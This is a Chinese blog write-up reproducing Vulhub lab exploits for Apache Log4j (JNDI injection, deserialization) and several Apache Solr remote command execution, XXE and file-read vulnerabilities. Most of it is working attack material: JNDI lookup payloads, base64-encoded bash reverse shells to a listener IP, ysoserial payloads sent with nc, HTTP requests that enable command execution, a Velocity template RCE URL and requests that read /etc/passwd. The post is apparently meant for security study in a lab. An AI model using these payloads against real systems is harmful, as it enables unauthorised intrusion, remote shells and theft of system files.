• Vulhub——Log4j、solr


    一、Log4j

    1.1 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

    Apache Log4j2Java语言日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

    Apache Log4j2不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。使用dokcer启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

    判断是否存在漏洞

    发送数据包:

    GET /solr/admin/cores?action=${jndi:ldap://4paxg6.dnslog.cn} HTTP/1.1
    Host: 192.168.92.6:8983
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
    Connection: close
    

    在这里插入图片描述
    在这里插入图片描述

    获取反弹shell

    bash -i >& /dev/tcp/192.168.92.6/4444 0>&1 # 反弹shell命令
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} # 防止管道符失效
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A "10.111.X.X" # -A表示远程服务器的地址
    
    • JDNI注入的原理:被害主机远程请求搭建了LDAP、rmi服务的远程主机,为了远程加载类。一旦被害主机请求,就会在自己系统上执行反弹shell的命令。
    • 10.111.X.X:本机IP;
    • 192.168.92.6:kali IP。

    在这里插入图片描述

    所有链接均可实现JDNI注入,获取shell。

    访问http://192.168.92.6:8983/solr/admin/cores?action=${jndi:rmi://10.111.11.119:1099/mrkfu0}

    在这里插入图片描述

    在这里插入图片描述

    1.2 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

    Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

    使用ysoserial生成payload,然后直接发送给192.168.92.6:4712端口即可。

    java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.92.6 4712
    docker exec -it <container-id> /bin/bash # 进入shell
    

    在这里插入图片描述
    反弹shell

    java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.92.6 4712
    

    在这里插入图片描述
    在这里插入图片描述

    二、Solr

    2.1 Apache Solr 远程命令执行漏洞(CVE-2017-12629)

    Solr是基于 Lucene 的面向企业搜索的 web 应用 ,Solr 是一个独立的企业级搜索应用服务器。Solr对外提供类似于 Web-service 的 API 接 口。用户可以通过 http 请求,向搜索引擎服务器提交一定格式的 XML 文件,生成索引;也 可以通过 Http Get 操作提出查找请求,并得到 xml/json 格式的返回结果。
    注意:Solr来提供的http服务,Lucene不提供,他是一个应用程序接口。

    影响版本:7.1.0之前版本

    docker-compose up -d
    docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
    # solr的 example/example-DIH :可以作为solr的主目录,里面包含多个索引库,以及hsqldb的数据,里面有连接数据库的配置示例,以及邮件、rss的配置示例。
    

    访问192.168.92.6:8983,可以看到solr的管理页面。
    在这里插入图片描述
    首先需要创建一个core,直接在web上创建会报错
    在这里插入图片描述

    1. /opt/solr/server/solr新建test目录;
    2. /opt/solr/server/solr/configsets/sample_techproducts_configs下的conf文件夹复制到test目录下。

    在这里插入图片描述
    创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:

    POST /solr/test/config HTTP/1.1
    Host: 192.168.92.6:8983
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Length: 149
    
    {"add-listener":{"event":"postCommit","name":"n1","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
    

    在这里插入图片描述
    然后进行update操作,触发刚才添加的listener:

    POST /solr/test/update HTTP/1.1
    Host: 192.168.92.6:8983
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 13
    
    [{"id":"n1"}]
    

    在这里插入图片描述
    在这里插入图片描述

    2.2 Apache solr XML 实体注入漏洞(CVE-2017-12629)

    构造XXE poc:

    <?xml version="1.0" ?>
    <!DOCTYPE message [
        <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    
        <!ENTITY % expr 'aaa)>
            
            ">
            %eval;
            %error;
            >
    
        %local_dtd;
    ]>
    <message>any text</message>
    

    编码后发送:

    GET /solr/demo/select?wt=xml&defType=xmlparser&q=%3C%3Fxml%20version%3D%221%2E0%22%20%3F%3E%0A%3C%21DOCTYPE%20message%20%5B%0A%20%20%20%20%3C%21ENTITY%20%25%20local%5Fdtd%20SYSTEM%20%22file%3A%2F%2F%2Fusr%2Fshare%2Fxml%2Ffontconfig%2Ffonts%2Edtd%22%3E%0A%0A%20%20%20%20%3C%21ENTITY%20%25%20expr%20%27aaa%29%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20file%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%0A%20%20%20%20%20%20%20%20%3C%21ENTITY%20%26%23x25%3B%20eval%20%22%3C%21ENTITY%20%26%23x26%3B%23x25%3B%20error%20SYSTEM%20%26%23x27%3Bfile%3A%2F%2F%2Fnonexistent%2F%26%23x25%3Bfile%3B%26%23x27%3B%3E%22%3E%0A%20%20%20%20%20%20%20%20%26%23x25%3Beval%3B%0A%20%20%20%20%20%20%20%20%26%23x25%3Berror%3B%0A%20%20%20%20%20%20%20%20%3C%21ELEMENT%20aa%20%28bb%27%3E%0A%0A%20%20%20%20%25local%5Fdtd%3B%0A%5D%3E%0A%3Cmessage%3Eany%20text%3C%2Fmessage%3E HTTP/1.1
    Host: localhost.lan:8983
    Accept-Encoding: gzip, deflate, br
    Accept: */*
    Accept-Language: en-US;q=0.9,en;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
    Connection: close
    Cache-Control: max-age=0
    
    
    

    在这里插入图片描述

    注意需要知道core。

    2.3 Apache Solr 远程命令执行漏洞(CVE-2019-0193)

    Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

    docker-compose up -d
    docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
    # solr的 example/example-DIH :可以作为solr的主目录,里面包含多个索引库,以及hsqldb的数据,里面有连接数据库的配置示例,以及邮件、rss的配置示例。
    

    访问192.168.92.6:8983
    在这里插入图片描述
    首先在页面左侧选择test核心,打开Dataimport面板,开启右侧Debug mode,填入以下POC:

    <dataConfig>
      <script><![CDATA[
              function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
              }
      ]]></script>
      <document>
        <entity name="sample"
                fileName=".*"
                baseDir="/"
                processor="FileListEntityProcessor"
                recursive="false"
                transformer="script:poc" />
      </document>
    </dataConfig>
    

    在这里插入图片描述
    点击Execute with this Confuguratio

    docker ps 
    docker exec -it <container-id> /bin/bash
    

    在这里插入图片描述

    2.4 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

    Apache Solr 是一个开源的搜索服务器。在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

    同样需要先创建core,这次是在将/opt/solr/server/solr/configsets/sample_techproducts_configs下的conf文件夹复制到/var/solr/data/test1目录下,先在/var/solr/data下创建test1文件夹。

    通过如下API获取所有的core:

    http://192.168.92.6:8983/solr/admin/cores?indexInfo=false&wt=json
    

    在这里插入图片描述
    说明我们创建的core有效。

    通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称:

    POST /solr/test1/config HTTP/1.1
    Host: 192.168.92.6:8983
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Priority: u=1
    Content-Length: 259
    
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    

    在这里插入图片描述
    注入Velocity模板即可执行任意命令:

    http://192.168.92.6:8983/solr/test1/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
    

    在这里插入图片描述

    Apache Solr RemoteStreaming 文件读取与SSRF漏洞

    Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。

    docker安装成功后,需要新建core。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    访问http://192.168.92.6:8983/solr/admin/cores?indexInfo=false&wt=json判断是否存在该漏洞。
    在这里插入图片描述
    发送数据包:

    POST /solr/test/config HTTP/1.1
    Host: 192.168.92.6:8983
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Content-Type: application/json
    Content-Length: 82
    
    {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}
    }
    

    在这里插入图片描述
    访问http://192.168.92.6:8983/solr/test/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd
    在这里插入图片描述

  • 相关阅读:
    关于RabbitMQ的一些面试题
    有没有适用的kafka镜像
    配置dns服务的正反向解析
    [Q&A]AttributeError: module ‘signal‘ has no attribute ‘SIGALRM‘
    MySQL高级篇知识点——主从复制
    bff层解决了什么痛点
    jni-03、CMakeLists、gradle配置
    优化Docker权限管理:配置Docker用户组
    连续系统PID的Simulink仿真
    基于STM32结合CubeMX学习Free-RT-OS的源码之任务创建
  • 原文地址:https://blog.csdn.net/qq_55202378/article/details/139736712